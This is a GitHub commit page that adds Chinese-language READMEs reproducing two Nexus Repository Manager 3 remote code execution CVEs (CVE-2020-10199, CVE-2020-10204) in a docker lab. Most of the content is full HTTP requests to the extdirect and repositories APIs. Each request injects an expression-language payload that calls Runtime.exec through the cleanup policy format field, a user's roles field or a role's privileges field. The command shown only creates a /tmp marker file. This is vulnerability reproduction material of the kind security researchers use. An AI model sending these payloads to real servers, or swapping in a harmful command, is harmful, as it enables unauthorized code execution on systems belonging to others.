Skip to content

Commit e93a761

Browse files
author
“threedr3am”
committed
feat:nexus CVE-2020-10199 
1 parent cd725d1 commit e93a761

File tree

2 files changed

+125
-1
lines changed

2 files changed

+125
-1
lines changed

‎nexus/CVE-2020-10199/README.md

Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
CVE-2020-10199 Nexus Repository Manager 3
2+
3+
影响版本：<= 3.21.1
4+
Affected Versions: All previous Nexus Repository Manager 3.x OSS/Pro versions up to and including 3.21.1
5+
6+
Fixed in Version: Nexus Repository Manager OSS/Pro version 3.21.2
7+
8+
### 1. 拉取镜像
9+
```
10+
docker pull sonatype/nexus3:3.21.1
11+
```
12+
13+
### 2. 创建nexus数据目录
14+
```
15+
mkdir /your-dir/nexus-data && chown -R 200 /your-dir/nexus-data
16+
```
17+
18+
### 3. 运行nexus docker镜像
19+
```
20+
docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /your-dir/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3::3.21.1
21+
```
22+
23+
### 4. github下载源码 & idea远程debug
24+
```
25+
git clone https://github.com/sonatype/nexus-public.git
26+
git checkout -b release-3.21.0-05 origin/release-3.21.0-05
27+
```
28+
idea创建远程debug-启动
29+
```
30+
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050
31+
```
32+
33+
### 5. 登陆任何一个账号
34+
35+
### 6. 调用接口
36+
1. 创建CleanupPolicy：
37+
```
38+
POST /service/extdirect HTTP/1.1
39+
Host: 127.0.0.1:8081
40+
Content-Length: 381
41+
Pragma: no-cache
42+
Cache-Control: no-cache
43+
Sec-Fetch-Dest: empty
44+
X-Requested-With: XMLHttpRequest
45+
X-Nexus-UI: true
46+
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
47+
NX-ANTI-CSRF-TOKEN: 0.047908797369389244
48+
Content-Type: application/json
49+
Accept: */*
50+
Origin: http://127.0.0.1:8081
51+
Sec-Fetch-Site: same-origin
52+
Sec-Fetch-Mode: cors
53+
Referer: http://127.0.0.1:8081/
54+
Accept-Encoding: gzip, deflate, br
55+
Accept-Language: zh-CN,zh;q=0.9
56+
Cookie: jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b3d627=1583249520; NX-ANTI-CSRF-TOKEN=0.047908797369389244; NXSESSIONID=56f75e54-fa62-43af-8f61-595c1a84c7bc
57+
Connection: close
58+
59+
{"action":"cleanup_CleanupPolicy","method":"create","data":[{"name":"threedr3am","format":"$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/cve-2020-10199')}","notes":"222","mode":"delete","lastBlobUpdatedEnabled":false,"lastDownloadedEnabled":false,"releaseTypeEnabled":false,"regexEnabled":false,"criteria":{}}],"type":"rpc","tid":33}
60+
```
61+
62+
2. 创建repositories：
63+
```
64+
POST /service/rest/beta/repositories/apt/hosted HTTP/1.1
65+
Host: 127.0.0.1:8081
66+
Content-Length: 342
67+
Pragma: no-cache
68+
Cache-Control: no-cache
69+
accept: application/json
70+
Sec-Fetch-Dest: empty
71+
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
72+
NX-ANTI-CSRF-TOKEN: 0.047908797369389244
73+
Content-Type: application/json
74+
Origin: http://127.0.0.1:8081
75+
Sec-Fetch-Site: same-origin
76+
Sec-Fetch-Mode: cors
77+
Referer: http://127.0.0.1:8081/swagger-ui/?_v=3.21.1-01&_e=OSS
78+
Accept-Encoding: gzip, deflate, br
79+
Accept-Language: zh-CN,zh;q=0.9
80+
Cookie: jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b3d627=1583249520; NX-ANTI-CSRF-TOKEN=0.047908797369389244; NXSESSIONID=56f75e54-fa62-43af-8f61-595c1a84c7bc
81+
Connection: close
82+
83+
{
84+
"name": "interna1l",
85+
"online": true,
86+
"storage": {
87+
"blobStoreName": "default",
88+
"strictContentTypeValidation": true,
89+
"writePolicy": "allow_once"
90+
},
91+
"cleanup": {
92+
"policyNames": ["threedr3am"]
93+
},
94+
"apt": {
95+
"distribution": "bionic"
96+
},
97+
"aptSigning": {
98+
"keypair": "string",
99+
"passphrase": "string"
100+
}
101+
}
102+
```

‎nexus/CVE-2020-10204/README.md

Lines changed: 23 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -34,7 +34,7 @@ idea创建远程debug-启动
3434
### 5. 登陆任何一个账号
3535

3636
### 6. 调用更新role接口
37-
数据包：
37+
1. 利用更新用户接口：
3838
```
3939
POST /service/extdirect HTTP/1.1
4040
Host: 127.0.0.1:8081
@@ -54,4 +54,26 @@ Cookie: jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b
5454
Connection: close
5555
5656
{"action":"coreui_User","method":"update","data":[{"userId":"www","version":"2","firstName":"www","lastName":"www","email":"www@qq.com","status":"active","roles":["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/cve-2020-10204')}"]}],"type":"rpc","tid":9}
57+
```
58+
59+
2. 利用创建角色接口：
60+
```
61+
POST /service/extdirect HTTP/1.1
62+
Host: 127.0.0.1:8081
63+
Content-Length: 294
64+
accept: application/json
65+
Sec-Fetch-Dest: empty
66+
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
67+
NX-ANTI-CSRF-TOKEN: 0.856555763510765
68+
Content-Type: application/json
69+
Origin: http://127.0.0.1:8081
70+
Sec-Fetch-Site: same-origin
71+
Sec-Fetch-Mode: cors
72+
Referer: http://127.0.0.1:8081/swagger-ui/?_v=3.21.1-01&_e=OSS
73+
Accept-Encoding: gzip, deflate, br
74+
Accept-Language: zh-CN,zh;q=0.9
75+
Cookie: jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b3d627=1583249520; NX-ANTI-CSRF-TOKEN=0.856555763510765; NXSESSIONID=da418706-f4e4-468e-93ac-de9c46802f11
76+
Connection: close
77+
78+
{"action":"coreui_Role","method":"create","data":[{"version":"","source":"default","id":"1111","name":"2222","description":"3333","privileges":["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/cve-2020-10204')}"],"roles":[]}],"type":"rpc","tid":89}
5779
```

0 commit comments

Comments
 (0)